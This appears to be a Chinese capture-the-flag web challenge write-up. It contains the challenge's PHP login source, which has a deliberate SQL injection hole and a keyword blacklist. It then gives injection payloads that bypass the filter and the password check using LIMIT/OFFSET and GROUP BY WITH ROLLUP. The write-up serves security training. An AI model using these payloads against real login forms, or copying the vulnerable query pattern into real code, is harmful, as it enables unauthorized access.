访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码，

请求，响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。

web题主要考察SQL注入，XSS等相关知识。涉及方向较多。此题主要涉及源码审计，MySQL相关的知识。

flag格式 CTF{}

<?php
error_reporting(0);if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {echo '<form action="" method="post">'."<br/>";echo '<input name="uname" type="text"/>'."<br/>";echo '<input name="pwd" type="text"/>'."<br/>";echo '<input type="submit" />'."<br/>";echo '</form>'."<br/>";echo '<!--source: source.txt-->'."<br/>";die;
}function AttackFilter($StrKey,$StrValue,$ArrReq){  if (is_array($StrValue)){$StrValue=implode($StrValue);}if (preg_match("/".$ArrReq."/is",$StrValue)==1){   print "水可载舟，亦可赛艇";exit();}
}$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){ AttackFilter($key,$value,$filter);
}$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { $key = mysql_fetch_array($query);if($key['pwd'] == $_POST['pwd']) {print "CTF{XXXXXX}";}else{print "亦可赛艇";}
}else{print "一颗赛艇";
}
mysql_close($con);
?>

select * from interest where uname = ‘{$_POST[‘uname’]}’

1' or 1 limit 1 offset 0#1' or 1 limit 1 offset 1#

1' or 1 limit 1 offset 2#

payload：1' or 1 group by pwd with rollup limit 1 offset 2#

http://php.net/manual/zh/function.preg-match.php

#函数preg_match

http://blog.csdn.net/id19870510/article/details/6254358

#使用 GROUP BY WITH ROLLUP 改善统计性能

http://blog.csdn.net/yplee_8/article/details/52252549

#sql 中 limit 与 limit，offset连用的区别

http://www.w3school.com.cn/sql/sql_groupby.asp

#SQL GROUP BY 语句

http://blog.csdn.net/jiangnan2014/article/details/17229713

#MySQL中with rollup的用法

http://php.freehostingguru.com/function.php-is_array.php

#函数is_array

http://www.w3school.com.cn/php/func_string_implode.asp

#函数 implode